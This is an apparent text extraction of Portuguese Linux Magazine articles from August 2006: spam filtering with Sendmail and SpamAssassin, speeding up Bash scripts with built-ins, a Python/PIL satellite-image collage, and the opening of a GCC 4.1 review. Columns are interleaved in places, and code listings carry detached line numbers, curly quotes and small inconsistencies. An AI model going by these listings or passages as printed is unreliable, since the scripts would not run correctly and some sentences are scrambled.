ao arquivo de configuração do MTA-RX compile os arquivos de configuração executando m4, e reinicie o Sendmail. Defina as preferências globais em /etc/spamassassin/local.cf. Veja [8] para uma lista completa de opções. As mais importantes são: para permitir configurações individuais dos usuários, defina allow_user_rules 1. Para etiquetar todo spam, use required_score 2.5, rewrite_subject 1 e rewrite_header Subject ***Spam***. Os critérios padrão de detecção são bastante bons; opções de configuração mais granulares estão detalhadas em [9]. O Spamassassin dá um valor ao conteúdo dos emails e, se o valor superar um determinado limite, ou o estabelecido pela opção required_score, a mensagem é marcada como spam. Para melhorar a taxa de detecção de spam, é recomendável atribuir um valor maior a hostname-rx.mc,

Solução 3

Para uma flexibilidade máxima nas configurações, sem o impacto dos gráficos, um modelo como o da figura 4 provavelmente é o melhor. Ele usa a interface de Milter do Sendmail para acessar uma instância distinta do Spamd (o daemon do Spamassassin). Cada usuário pode definir suas próprias configurações em ~/.spamassassin/user_prefs . O Spamd acessa o arquivo user_prefs e detecta spam baseado nesses valores. Se não existir esse arquivo, o Spamassassin automaticamente aplicará as preferências do administrador, localizadas em /etc/ spamassassin/local.cf. Como o Spamd precisa acessar os diretórios em /home, ele roda sob a conta do superusuário. Você pode configurar o uso de níveis de usuário ao acesso a RAZOR2_CHECK, RAZOR2_CF_RANGE_51_100 e esses diretórios, para evitar rodar o pro- DCC_CHECK. O valor de PYZOR_CHECK já é cesso como superusuário. Essa é uma alto o suficiente. ➧

~/.procmailrc

Sasl

SM-MTA-RX

SM-MTA-TX

na porta 25

na porta 10025

Procmail

Dovecot POP3(s), IMAP(s)

Amavisd-new

SpamassMilter

Spamd

na porta 10024

TMDA (opcional)

Razor Clam-AV (Clamd)

DCC

Squirrelmail

Cliente de Email

~/.spamassassin/ user_prefs Figura 4

Uma configuração mais flexível com o uso de bancos de dados com Sendmail e Milter.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

65


SYSADMIN | Spam no Sendmail

Email chegando

UDP (DCC), 2703/TCP, 7/TCP (Razor), e 24441/UDP (Pyzor). Talvez você tenha que configurar seu firewall para permitir tráfego de saída nessas portas e assim deixar que se abram as devidas conexões às redes respectivas. Pode parecer um pouco paranóico usar todos esses três programas paralelamente, mas isso realmente melhora a detecção de spam.

Enviando ao

Servidor de Email Pedido de confirmação

Email de confirmação

Solução 4

Um método menos conhecido de combate ao spam, que só funciona em situações específicas, é o Agente de entrega de mensagem etiquetada, ou Tagged Message Delivery Agent (TMDA) [10]. o TMDA utiliza uma abordagem de desafio e resposta na qual cada mensagem enviada ao servidor para ser entregue deve provar a este que é legítima. A figura 5 mostra como isso funciona a princípio: um servidor de email externo está tentando enviar uma mensagem para uma caixa de correio no nosso servidor. O nosso servidor de email pede que o remetente confirme a mensagem original, e não a entrega ao destinatário até que receba a confirmação. Spammers não enviarão

Aceito

Servidor de Email Entrega

Caixa de Email Figura 5

Abordagem de desafio e resposta para impedir o spam por meio de TMDA.

DCC + Razor + Pyzor Os parâmetros referidos acima especificam os critérios de avaliação de dados a partir das três redes globais de email, que coletam e avaliam hashes de emails. As funções hash usadas para esse propósito funcionam de forma diferente das conhecidas funções hash MD5 e SHA1. Elas utilizam os chamados soft hashes, que permitem que alguns itens do email mudem, como por exemplo o destinatário, sem, no entanto, modificar o hash. Cada servidor de email que usa essas redes externas envia para elas os hashes de todos os emails que recebe. Se 100.000 hashes chegarem à rede – e esse valor é configurável – você pode considerar que o email é spam. Afinal, é improvável que alguém envie 100.000 emails com conteúdo idêntico e legítimo. Rode o apt-get para instalar o DCC, o Razor e o Pyzor. O Spamassassin automaticamente detecta sua existência. O DCC requer um servidor DCC separado para volumes acima de 250.000 emails, e bloqueia qualquer acesso acima disto como um ataque de negação de serviço em potencial. Para verificar se esses plugins estão funcionando, você pode usar o Tcpdump para ver o cabeçalho dos emails considerados spam, ou as portas 6277/

Email chegando

Enviado ao

Servidor de Email

Valor < 1 = Lista Branca

Antivírus/ Anti-spam Valor > 2.5 Entregar como Spam

Caixa de entrada 1 < Valor < 2,5 Pedidos

Mensagem de Confirmação

Confirma o Remetente

Caixa de entrada

Aceito

Servidor de Email Entrega

Mensagem entregue Figura 6

Caixa de entrada

Num cenário mais sofisticado de TMDA, o Spamassassin pré-seleciona as mensagens.

http://supertuxbr.blogspot.com 66

http://www.linuxmagazine.com.br


Spam no Sendmail | SYSADMIN

uma mensagem de confirmação, já que eles geralmente enviam emails em massa, e nem receberão o pedido de confirmação, pois adulteram o endereço do remetente. Isso reduz a zero as mensagens indesejadas, mas com um custo considerável causado pelo maior fluxo de emails. A figura 6 apresenta uma abordagem mais sofisticada para o TMDA. Se optar por essa abordagem de tolerância zero, você deve entender algumas coisas: ➧ Como spammers normalmente usam endereços de outras pessoas, o seu servidor de email não deve incomodar esses inocentes pedindo-os confirmação. Em outras palavras, não peça confirmação de mensagens que já tenham sido marcadas como spam pelo filtro de spam. ➧ Emails com um nível de spam muito baixo podem ser entregues diretamente, sem passar pelo TMDA. ➧ Se dois sistemas TMDA por acaso se encontrarem, laços infinitos não podem ser excluídos. A página do TMDA [10] afirma que isso não deve acontecer, mas não há garantia. A FAQ na página aborda mais questões e sugere soluções. ➧ Você está advertido a fazer sua lista branca pessoal, independente do Spamassassin; sua melhor abordagem é adicionar seu catálogo de endereços. Listas brancas são particularmente importantes para registrar e usar em listas de emails. Um efeito colateral positivo é que qualquer pessoa que mande email para você, e que não esteja na sua lista branca, recebe uma confirmação de que a mensagem chegou. Além disso, deve-se notar que, devido a sua complexidade, o TMDA não é a solução perfeita para muitos usuários e situações.

Desempenho

Um servidor de emails que tente oferecer a solução perfeita em todos os cenários coloca sempre em risco o desempenho caso o volume de mensagens cresça. Por isso realizamos um teste de desempenho das soluções propostas neste artigo. Utilizamos o Postal [11] para um teste de desempenho num Pentium 4 2.8 GHz com 512 MB de RAM. O programa de benchmark envia emails com um tamanho máximo de 15KB para o servidor num período de cinco minutos. A solução 1 (Amavis sozinho) mostrou-se capaz de lidar com 600 emails por minuto. Ela levou mais cinco minutos para entregar

todas as mensagens. Ativar o ClamAV não reduziu significativamente a velocidade desse processo. Se você usar o Spamassassin com testes externos conforme descrito na solução 3, o desempenho dependerá fortemente da largura de banda da conexão do servidor à Internet, além de sua latência. O TMDA (solução 4) afeta o desempenho significativamente.

Tudo acaba bem

Obviamente este artigo não substitui um livro de 1000 páginas, e só pode ofereceer uma introdução ao Sendmail e alguns de seus componentes. O primeiro dos três designs que examinamos deve funcionar na primeira tentativa na maioria dos ambientes. Antes de utilizar a solução 4, deve-se pesar os prós e contras atenciosamente. O que todas as soluções têm em comum é a alta escalabilidade, devido a sua característica modular, seja pelo uso de discos separados para filas de emails, ou mesmo servidores distintos para cada componente individual. ■

Mais Informações [1] Propriedades anti-spam do Sendmail: http://www.sendmail.org/ m4/anti_spam.html [2] Sendmail: http://www.sendmail.org [3] Amavis-new: http://www.ijs.si/ software/amavisd/ [4] “Proteção na fonte”, de Larkin Cunningham; Linux Magazine, Fevereiro de 2006, p. 35

[5] SecurityFocus e FrSirt: http://www.securityfocus.com e http://www.frsirt.com [6] “Quer um bom antivírus?”, de James Mohr; Linux Magazine, Fevereiro de 2006, p. 27 :

[7] Maia Mailguard: http://www.renaissoft.com/maia/ [8] Configuração do Spamassassin para recebimento de emails:

http://spamassassin.apache.org/ full/3.0.x/dist/doc/ Mail_SpamAssassin_Conf.html [9] Valores de spam padrão do Spamassassin:

http://spamassassin.apache.org/ tests_3_0_x.html [10] TMDA: http://www.tmda.net [11] Postal: http://www.cocker.com/postal/

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

67


Funções internas do Bash

SYSADMIN

Eficiência interna O Bash é o shell padrão de (quase) todas as distribuições Linux. Ele pode automatizar tarefas chamando programas externos em forma de scripts. Mas existem funções internas do próprio Bash que podem tornar seus scripts mais rápidos na escrita e na execução, sem chamar qualquer programa externo. por Mirko Dölle

roy mattappallil – www.sxc.hu

A

ntigamente, os shells eram incapazes de fazer muito mais do que chamar programas externos e executar comandos internos básicos. Com todos os avanços da última versão do Bash, no entanto, você dificilmente precisará de ferramentas externas. A principal vantagem das funções internas é que o shell não precisa gerar um

Exemplo 1: Análise de um log com comandos externos 01 02 03 04 05 06 07 08 09 10 11

#!/bin/bash IFS=$'\n' for l in `cat access.log`; do IFS=" " echo "${l}" | cut -d" " -f7 done

Exemplo 2: Análise de um log com comandos internos 01 02 03 04 05 06 07 08 09 10 11

#!/bin/bash exec 3<access.log while read -u 3 Request; do Request=”${Request##*GET }” echo “${Request%% HTTP/*}” done

novo processo, o que economiza memória ela usa o descritor de arquivo 3 para e tempo de processamento . Essa facilidade abrir o arquivo, e usa a variável Request pode ser importante, principalmente se para processar uma linha por vez num você precisar rodar um programa como laço, fazendo o Bash examinar e guaro grep ou cut num laço, já que o tempo dar uma única entrada do log. O script de execução e o consumo de memória então apaga os caracteres do início da de um script podem explodir se você linha até GET (inclusive) e todos os canão tomar o devido cuidado. Este artigo racteres desde o fim da linha até HTTP/ descreve algumas técnicas simples para (inclusive). Seria possível economizar mais um acelerar seus scripts de Bash. Os seguintes scripts avaliam um ar- décimo de segundo ao apagar todos os quivo de log do Apache num site simples- caracteres até aquele em branco desde mente para comparação. Se você estiver o fim do pedido, pois assim simplificainteressado em saber quais páginas foram ríamos a comparação do texto realizada visitadas, você deve isolar a palavra GET pela função interna do Bash. no log. Eis um exemplo: 84.57.16.30 - - [21/Oct/2005:04:18:26 ➥ +0200] “GET /favicon.ico HTTP/1.1” 404 ➥ 209 “-” “Mozilla/5.0 (X11; U; Linux ➥ i686; de-DE; rv:1.7.5) Gecko/20041122 ➥ Firefox/1.0”

O Exemplo 1 mostra uma abordagem usada por diversos scripts de Bash. A chamada do cat na linha 3 primeiro lê o arquivo inteiro, e o despeja no laço for como uma lista de parâmetros, o que significa que o Bash tem que guardar o conteúdo do arquivo primeiro. Na linha 5, o Exemplo 1 continua chamando o programa externo cut para cada entrada do log. Num Pentium III 750 MHz, esse script demorou mais de 18,5 segundos para examinar um arquivo de log do Apache com 600 KBytes. Já o Exemplo 2 demorou apenas 3,3 segundos, quase seis vezes mais rápido:

Funções de substituição As ferramentas basename e dirname podem ser facilmente substituídas usando funções de Bash. Para tal, você precisa das funções de texto ${Variável%Padrão}, que apaga o menor padrão que casar, a partir do fim do texto, e ${Variável##Padrão}, que apaga o maior padrão que casar, a partir do início do texto. Somente um alias é necessário para substituir o dirname: alias nome_do_dir=echo ${1%/*};

A funcionalidade para o basename não é muito mais complexa, porém você deve considerar o fato de que o basename consegue remover a extensão de artigos, o que significa combinar duas funções de texto:

http://supertuxbr.blogspot.com 68

http://www.linuxmagazine.com.br


Bash | SYSADMIN

01 function basename() { 02 03 B=${1##*/} 04 05 echo ${B%$2} 06 07 }

A chamada na linha 11 ao printf, que também é um comando interno do Bash, serve para jogar na saída os quatro octetos do endereço IP como decimais de três dígitos separados por zero e sem preenchimento. A última linha faz um pipe da saída do comando externo sort, antes que o uniq retire os números duplicados. O Exemplo 4 leva aproximadamente 2,6 segundos para processar um arquivo de log do Apache com 600 KBytes.

É mais eficiente guardar o resultado do texto alterado na variável B do que usar o set para o primeiro parâmetro e passar o segundo parâmetro. Mas também não faz sentido substituir cada chamada a programas externos. O Exemplo 3 é um bom exemplo disso: ela implementa um grep rudimentar. Embora o script use apenas algumas linhas de código, e a princípio possa parecer O programa do Exemplo 5 faz o mesmo eficiente, ele leva mais de dois minutos que o do Exemplo 4, mas leva apenas 1,6 para buscar um nome de arquivo num segundos, uma melhora de quase 40%. log de servidor web com 600 KBytes -- o As funções para texto das linhas 4 a 10 do grep realiza o mesmo em menos de um Exemplo 4 são os responsáveis pela diferença: em vez de extrair o IP primeiro e décimo de segundo. O padrão de busca é o maior assassino só então usar sete funções diferentes para de desempenho. Se um pedaço do texto dissecá-lo, o Exemplo 5 chama a função casa com ele, a linha capturada do arqui- read interna do Bash com a variável IFS. vo é toda deletada por um mecanismo de O Bash trata os caracteres armazenados busca e substituição na linha 4. O padrão em IFS como separadores de parâmetros de busca, *${1}*, manda o Bash procurar -- por padrão, são os caracteres de: espaço, o padrão em cada caractere de uma linha. tabulação e nova linha. Se você usar #*${1}* como padrão de busA linha 3 do Exemplo 5 define os caracca, mandando o Bash começar a busca teres de ponto e espaço em branco como somente no início da linha, o Bash só fará separadores. Chamar read com a opção -a uma comparação por linha, o que reduz o manda a função não armazenar a linha tempo de execução do script para menos inteira na variável, mas usar o separador de três segundos. Mas isso ainda é cem a partir de IFS, e gravar a entrada na variável de vetor IP, um elemento de cada vezes mais lento do que o grep. vez. Isso manda os octetos que compõem o IP direto para as variáveis IP[0] a IP[3] ao chamar read. O conteúdo dos elemenEmbora as funções de texto não fossem tos do outro vetor não é importante agoo gargalo no último exemplo, pode have ra. Portanto, uma simples chamada de outras maneiras mais elegantes e rápidas função no Exemplo 5 substitui as linhas de se dissecar texto em alguns casos. Por 3 a 10 do Exemplo 4. exemplo, se você precisa ordenar os endeInfelizmente, apesar de ser possível reços IP de onde pedidos se originaram, substituir as chamadas aos comandos tanto o sort quanto uma função simples externos sort e uniq por funções de Bash de ordenação léxica serão incapazes de correspondentes, não se pode esperar ajudar. Esse procedimento retornaria que um script de Bash alcance a efi217.83.13.152 antes de 62.104.118.59. Em ciência do sort, um programa escrito vez disso, será necessário extrair os bytes em C. Assim como na vida real, alguns individuais do número IP, convertê-los de nossos esforços de sintonia fina em para um formato ordenável, e então mos- Bash podem não melhorar a velocidatrar os resultados sem repetição. de do script, mas programar com vistas Os Exemplos 4 e 5 mostram duas for- à eficiência continua sendo um bom mas possíveis com desempenhos comple- negócio. ■ tamente diferentes. O script do Exemplo 4 começa examinando o arquivo de log Mais Informações linha por linha (linha 3), e depois extrai o primeiro IP na linha 4. As linhas 6 a 10 [1] Programas de exemplo: apagam um octeto por vez a partir do fim http://www.linux-magazine.com/ do número IP, e guarda o byte do endereMagazine/Downloads/64/bash/ ço como um decimal no vetor IP.

Funções para compactação

Dissecando IPs

Exemplo 3: Grep interno 01 02 03 04 05 06 07 08 09 10 11 12 13

#!/bin/bash exec 3<$2 while read -u 3 line; do if [ -z “${line/*${1}*}” ]; then echo “$line” fi done

Exemplo 4: Funções para texto 01 #!/bin/bash 02 03 function GetIP() { 04 05 while read -u $1 Request; do 06 07 tmp=”${Request%% *}” 08 09 IP[1]=”${tmp%%.*}” 10 11 IP[4]=”${tmp##*.}” 12 13 tmp=”${tmp%.*}” 14 15 IP[3]=”${tmp##*.}” 16 17 tmp=”${tmp%.*}” 18 19 IP[2]=”${tmp##*.}” 20 printf “%03d.%03d.%03d.%03d\n” ${IP[1]} ${IP[2]} 21 ➥ ${IP[3]} ${IP[4]} 22 23 done 24 25 } 26 27 exec 3<access.log 28 29 GetIP 3 | sort | uniq

Exemplo 5: Funções para texto 01 #!/bin/bash 02 03 function GetIP() { 04 05 IFS=”. “ 06 07 while read -u $1 -a IP; do 08 printf “%03d.%03d.%03d.%03d\n” ${IP[0]} ${IP[1]} 09 ➥ ${IP[2]} ${IP[3]} 10 11 done 12 13 } 14 15 exec 3<access.log 16 17 GetIP 3 | sort | uniq

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

69


Imagens de satélite com Python

PROGRAMAÇÃO

Python planetário Quem nunca quis se sentir como os técnicos da Nasa em seu centro de controle? Hoje vamos criar o nosso próprio para monitorar o planeta e seus arredores. por José María Ruiz e Pedro Orantes

Chris Lienert – www.sxc.hu

T

oda vez que vemos o lançamento de um foguete ficamos assombrados diante da explosão da decolagem, os cientistas olhando atentamente seus painéis de controle e as cifras monstruosas que revelam quanto foi investido no projeto.

Figura 1 A imagem original que será modificada com a biblioteca PIL.

Ao nosso alcance

É então que surge a pergunta: “E como isso me afeta?” Certa vez tive uma conversa no escritório da IEEE (Institute of Electrical and Electronics Engineers) de Málaga na qual me contaram que a maioria dos satélites transmitem para todo o mundo as imagens e dados que recolhem. Isso significa que, com o equipamento necessário, é possível receber na sua própria casa imagens fascinantes do universo, de Marte ou da Terra. A temperatura do oceano, imagens meteorológicas do campo magnético do sol e das missões a Marte são enviadas constantemente à Terra a partir dessas máquinas espaciais. E o efeito é sempre o mesmo: o apresentador na televisão deixa os telespectadores deslumbrados com imagens incríveis, enquanto escutam acordes de sintetizador. Mas essas imagens não são de domínio público? Onde posso consegui-las? Neste artigo, vamos utilizar o Python para criar

um script CGI que nos permite obter e manter atualizadas as imagens que queremos, em uma espécie de colagem ou painel. Construiremos nosso próprio centro de controle espacial.

Obter as imagens

A primeira coisa a fazer será encontrar as imagens e reuni-las. Vamos usar como exemplo quatro imagens de ca-

Curiosidade Pouco tempo depois de este artigo ter sido finalizado, apareceu uma notícia no Slashdot (ver [4]) sobre uma labareda solar de tamanho suficiente para alterar as comunicações. Quando ocorre esse tipo de evento, em muitos centros de controle os engenheiros cruzam os dedos para que seus satélites não caiam ou se percam diante da onda de vento solar gerada. A labareda pode ser vista na figura 4.

http://supertuxbr.blogspot.com 70

http://www.linuxmagazine.com.br


Python | PROGRAMAÇÃO

ráter científico. Elas são atualizadas em intervalos diferentes, de maneira que poderemos ver como os eventos registrados evoluem. As URLs podem ser encontradas em [1]. Devemos baixar as imagens e armazená-las em nosso programa. Faremos uso da biblioteca httplib que é parte da distribuição padrão do Python. Essa biblioteca nos permitirá falar diretamente com um servidor web remoto sem termos que nos preocupar com os detalhes de nível mais baixo. A conversa será realizada com uso do protocolo HTTP. Esse protocolo é bastante simples e só precisaremos de uma parte mínima dele. Quando Tim Berners Lee criou o desenho original da Web, quis que o protocolo para solicitação de documentos fosse o mais simples possível. O trabalho do HTTP se resume à recepção e envio de informações ao servidor, apenas isso. É composto de vários comandos, sendo os mais conhecidos o GET, que podemos traduzir como “pegar”, e o POST, “mandar” ou “enviar”. É assim que baixamos documentos e enviamos informações. Uma parte importante do HTTP é a URL, que serve para dar nomes a esses documentos. Todos estamos acostumados a lidar com URLs, geralmente do tipo http://www.linuxmagazine.com.br/issue/. A URL é composta de: [protocolo]:// [máquina]/[caminho]/[objeto]. Vamos ver agora por que é tão importante que saibamos disso. A biblioteca httplib do Python estabelece o primeiro passo para uma conexão com o servidor remoto através do método HTTPConnection.

>>> r = c.getresponse() >>> print r.status, r.reason 200 OK >>>

Com o getresponse, obtemos um objeto que representa os dados devolvidos pela conexão. Esse objeto tem, entre outros, os atributos status e reason, que nos indicam o estado, um número com um significado especial, e a explicação do mesmo. Nesse caso correu tudo bem e por isso recebemos um “OK”. Caso contrário, se a rota que pedimos não existisse, obteríamos: >>> r = c.getresponse() >>> print r.status, r.reason 400 Bad Request >>>

Agora que já temos a página, podemos lê-la usando o método read() do objeto com a resposta. >>> print r.read() <html> <head> <base ➥ href=”http://www.linuxmagazine.com.br/ ➥issue/20/” /> <title>Linux Magazine ...

20

Quando terminarmos, devemos fechar a conexão chamando o método close() do objeto que representa a conexão. Nesse caso seria: >>> c.close() >>>

Figura 2

A imagem do pequeno demônio do BSD rotacionada em 45 graus com PIL.

Para obter mais imagens, vamos fazer exatamente a mesma coisa: abrir uma conexão, pedir a imagem, armazená-la em um dicionário e fechar a conexão.

Python Imaging Library Nossa idéia original era fazer um mural ou colagem com as imagens obtidas. O Python não oferece uma biblioteca de tratamento de imagens na sua distribuição padrão. Isso não quer dizer que não exista tal biblioteca. Não só ela existe, como além disso é muito útil e poderosa. Estamos nos referindo à Python Imaging Library (ver URL [2] em Mais informações). A biblioteca PIL (Python Imaging Library) nos permitirá tratar imagens em uma grande quantidade de formatos. Podemos convertê-las para outro formato, rotacioná-las, medi-las, fazer fusões etc. Quem já tiver experiência com progra-

>>> c = httplib.HTTPConnection(“www. linuxmagazine.com.br”) >>>

Exemplo 1: Exemplo de uso do PIL

Armazenamos na variável c o objeto que representa a conexão realizada, e podemos enviar solicitações.

01 02 03 04 05 06 07

>>> c.request(“GET”,”/issue/20”) >>>

Utilizamos o comando GET, e assim solicitamos um objeto. O segundo parâmetro do método é o “caminho” até o objeto. A URL que estamos solicitando é http://www. linuxmagazine.com.br/. É importante que o caminho comece com uma barra “/”, como se fosse um caminho de diretório numa máquina. Como podemos saber se tudo correu bem?

>>> >>> >>> >>> >>> >>> >>>

painel = Image.new(‘RGB’,(600,480)) im = Image.open(“daemon.jpg”) im.thumbnail((300,200),Image.ANTIALIAS) painel.paste(im,(0,0)) painel.paste(im,(300,0)) painel.show()

Exemplo 2: colagem.conf 01 02 03 04 05 06 07 08 09

[tamanho] horizontal = 800 vertical = 600 [imagens] url1 = http://www-mgcm.arc.nasa.gov/MarsToday/marstoday.gif url2 = http://www.sec.noaa.gov/sxi/current_sxi_4MKcorona.png url3 = http://www.ssec.wisc.edu/data/sst/latest_sst.gif url4 = http://www.wetterzentrale.de/pics/D2u.jpg

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

71


PROGRAMAÇÃO | Python

Figura 3

Criamos uma imagem vazia com PIL e depois inserimos outras imagens dentro dela como em um mosaico.

mas de manipulação gráfica, como por exemplo o GIMP [3], vai compreender a importância de uma biblioteca com essas funcionalidades. Como o PIL não é um “item de série” do Python, devemos instalá-lo em nossa distribuição. Há pacotes RPM e DEB da biblioteca. Como se trabalha com PIL? Através da manipulação de objetos da classe Image. Essa classe é capaz de armazenar imagens de quase todos os formatos, permitindo-nos manipulá-las. Vejamos um exemplo. Na figura 1 podemos ver a imagem original do arquivo daemon.jpg da minha equipe. Vamos rotacioná-la em 45 graus: >>> import Image >>> im = Image.open(“daemon.jpg”) >>> img.rotate(45).show() >>>

Na figura 2 podemos ver o resultado. Usamos o método rotate(), ao qual passamos um ângulo de 45 graus, e no resultado invocamos o método show(), que mostrará o resultado com o programa xv (para fechar o xv temos apenas que digitar q). Mas no nosso exemplo não queremos rotacionar imagens, e sim medi-las. As imagens da web são grandes e nós queremos criar um painel de tamanho fixo. Então devemos adaptar as imagens baixadas para que caibam no mural. Para isso, vamos inserir as imagens em uma maior, mas há muitas maneiras de se fazer isso. A solução que adaptaremos para nosso caso é dividir a imagem-painel num número de quadros igual às imagens que vamos inserir. Mas como saberemos a quantidade

de quadros? Vamos escolher a menor potência de 2 que seja maior que nosso número de imagens. Não é muito complicado. Por exemplo, se temos 7 imagens, 8 quadros (2 elevado a 3) serão suficientes. Basicamente multiplicaremos 2 por ele mesmo até que seja maior que o número de imagens que queremos mostrar. Graficamente o que faremos será ir dividindo a imagem em largura e altura em quadrados. Em cada iteração o número de quadrados será multiplicado por 2. Com esse método, perderemos espaço na imagem, mas será tão pouco que isso não complicará muito o código.

Criemos o thumbnail

Arquivo de configuração As URLs e a resolução devem ser informadas ao programa, mas como? Há várias opções. Elas poderiam ser passadas para o programa em sua execução. Algumas URLs têm o problema de serem muito longas, e assim a linha de comando para executar o programa pode ser um empecilho. Ao invés disso, usaremos um arquivo de configuração. Cada vez que o programa for executado, lerá o arquivo e saberá os parâmetros desejados. E que formato terão os arquivos? A tendência atual é criar arquivos de configuração XML. Mas o XML pode ser bastante complicado se levarmos em consideração que nosso arquivo de configuração pode não ter mais de 10 linhas. No UNIX, a tendência é usar o formato “chave = valor” e é exatamente isso que faremos. O arquivo será como mostra o exemplo 2. Leremos cada linha do arquivo, dividindo-a pelo = e usando a primeira parte como chave de um dicionário e a segunda parte como seu valor. Se a chave já existir, usaremos uma lista como seu valor, com os diferentes valores da linha como entrada. Mas por que faríamos o trabalho sujo se alguém já tem uma solução? O Python traz em sua distribuição padrão uma biblioteca de grande utilidade para nós. Alguém achou oportuno elaborar um analisador de arquivos de configuração, e chamou-o de ConfigParser. Com essa biblioteca podemos extrair a informação do arquivo de configuração. O arquivo de configuração é composto por “Seções” e “Opções”. Cada seção contém várias opções, sendo que

Primeiro criaremos uma imagem vazia (veja o exemplo 1). A figura 3 mostra o resultado. Desta vez não carregamos nenhuma imagem, mas usamos o método new(), que necessita que definamos o tipo de pixel (“RGB” vem de Red,Green,Blue, vermelho,verde, azul, e é um dos formatos padrão) e as dimensões da imagem em pixels. No nosso caso escolhemos 600 pixels de largura por 480 de altura (preste atenção nos parênteses, porque a resolução é expressa como uma seqüência do tipo (x, y)). Essa nova imagem não contém nada além de um decepcionante fundo preto. Vamos colocar um pouco de cor! Pegamos a imagem do diabinho e chamamos o método thumbnail(), que mede a imagem tanto vertical quanto horizontalmente. Temos que passar ao método o tamanho desejado como uma seqüência. A nova imagem terá um tamanho de 300x200 pixels. Ela pode aceitar um parâmetro adicional, que em nosso caso é Image. ANTIALIAS, que serve para melhorar a resolução da nova imagem. Em seguida, usamos o método paste() de Image, que nos permite “colar” uma imagem dentro da outra nas coordenadas indicadas como segundo parâmetro. Colamos a imagem “daemon” duas vezes, a primeira na posição (0,0) do mural e a segunda na posição (300,0). Podemos ver o resultado usando o Figura 4 Labaredas solares que ameaçam deixar fora de combate os satélites de comunicação. método show().

http://supertuxbr.blogspot.com 72

http://www.linuxmagazine.com.br


Python | PROGRAMAÇÃO

os nomes das seções e opções devem ser únicos. Por isso as URLs começam com “url1”, “url2” e “url3”. Mas isso não será um problema. Vejamos como funciona o ConfigParser (confira o exemplo 3). Como podemos observar no exemplo, o uso do ConfigParser é muito simples. Primeiro é criado um analisador, guardando-o na variável config. Depois carregamos com o método readfp() o arquivo de configuração – esse método também analisa o arquivo. A partir desse momento, podemos fazer perguntas ao objeto armazenado em config. Com sections() obtemos uma lista de seções e, com options(), a de opções. Com essa informação, já podemos recolher os dados necessários usando o método get(), ao qual passamos uma seção e uma opção.

Encaixe

Agora já temos: ➧ Um sistema de configuração usando ConfigParser. ➧ Um sistema para descarregar as imagens, usando httplib. ➧ Um sistema para manipular as imagens usando PIL. Resta então juntar tudo para que possamos gerar a página que aparece na figura 5. O resultado final pode ser baixado de [5]. Criaremos uma classe Colagem com os métodos: ➧ _carregaConf() ➧ _baixa() ➧ _totalXY() ➧ geraColagem() ➧ _geraImagem() ➧ _geraHTML() Quando um método começa com _, torna-se privado. Qualquer tentativa de uso desse método gerará uma exceção. Por isso esses métodos não podem ser chamados de fora do objeto Colagem. Dessa maneira, Colagem só possui um método acessível de fora: geraColagem(). A geração do HTML foi separada daquela da colagem para possibilitar as futuras extensões do objeto. Por exemplo, poderíamos não querer gerar um arquivo HTML, mas incorporar a imagem em um programa. Nesse caso, herdaríamos de Colagem e criaríamos um novo método geraColagem(), que só gerasse e retornasse a imagem. O método _geraHTML() gera o código HTML da página web. Um ponto importante é que gera um mapa sobre a colagem, de maneira que seja possível clicar sobre as diferentes imagens que aparecem nele. Ao fazer isso, a imagem será carregada

Figura 5 Nosso painel de controle espacial pronto e uma página web gerada dinamicamente.

no tamanho natural. O mapa é gerado consultando-se o dicionário de imagens. Cada entrada do dicionário contém um objeto da classe Imagem. Imagem guarda a informação de cada imagem baixada enquanto o programa a armazena. São armazenados os dados próprios de cada imagem, como, por exemplo, as coordenadas que ocuparão finalmente a colagem. Como sempre, espera-se que o leitor dedique algum tempo para testar o programa para adaptá-lo às suas necessidades ou idéias.

Conclusão

A complexidade de um programa em Python não está na quantidade de linhas de código, e sim no nível em que se trabalha. No programa deste artigo, fizemos uso intensivo das bibliotecas que realizaram ações bastante complicadas por nós. O Python possui um amplo leque de bibliotecas a serem exploradas, mui-

tas delas com anos de desenvolvimento, esperando por programadores com idéias originais para pô-las em prática. ■

Mais Informações [1] Imagens utilizadas: http://www-mgcm.arc.nasa.gov/ MarsToday/marstoday.gif ; http://www.sec.noaa.gov/sxi/ current_sxi_4MKcorona.png ; http://www.ssec.wisc.edu/data/ sst/latest_sst.gif ; http://www.wetterzentrale.de/ pics/D2u.jpg [2] Python Imaging Library: http://www.pythonware.com/ products/pil/ [3] GIMP: http://www.gimp.org [4] Notícia sobre a labareda solar no Slashdot:

http://science.slashdot.org/ science/05/09/08/ 1933205.shtml?tid=215&tid=14

Exemplo 3: Uso do ConfigParser 01 02 03 04 05 06 07 08 09 10

>>> config = ConfigParser.ConfigParser() >>> config.readfp(open(‘colagem.conf’)) >>> config.sections() [‘tamanho’, ‘imagens’] >>> >>> config.options(‘imagem’) [‘url1’, ‘url3’, ‘url2’] >>> >>> config.get(‘imagem’,’url1’) ‘”http://www-mgcm.arc.nasa.gov/MarsToday/marstoday.gif”’

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

73


PROGRAMAÇÃO

Novidades e benchmarks do GCC 4.1

Teste de vôo A nova versão do compilador GNU (GCC) vem com uma safra novíssima de otimizações e suporte a Objective-C++. O parser descendente introduzido na versão 4.0 agora é usado para C e Objective-C. por René Rebe

O

GCC 4.1 foi lançado com um atraso de apenas uma semana [1]. O Release Manager Mark Mitchell foi forçado a adiar um pouco a data do lançamento para incluir o suporte a pontos flutuantes de 128 bits na arquitetura PowerPC, pois esse é um recurso importante da futura Glibc.

Parser manual

Uma das mudanças profundas é o uso do parser de C++ da última versão do GCC agora também para C e ObjectiveC. O parser recursivo descendente escrito manualmente (isto é, não foi escrito com um gerador de parsers tradicional como o Bison ou o Yacc) é mais rápido, e espera-se que seja mais fácil de manter a longo prazo. A Apple acrescentou a capacidade de misturar Objective-C com C++ ao GCC do MacOS X há algum tempo. Objective-C é uma alternativa ao C++ que oferece orientação a objetos com uma sintaxe que lembra a do Smalltalk, junto com tipagem dinâmica e introspecção. Porém, faltam-lhe estruturas modernas do C++, como templates e namespaces. O Objective-C++ agora oferece a possibilidade de misturar características de C++ com Objective-C, ou simplesmente utilizar bibliotecas C++ com código Objective-C. Os desenvolvedores do GCC integraram o protetor de stack smashing (Stack Smashing Protector, ou SSP), desenvolvido

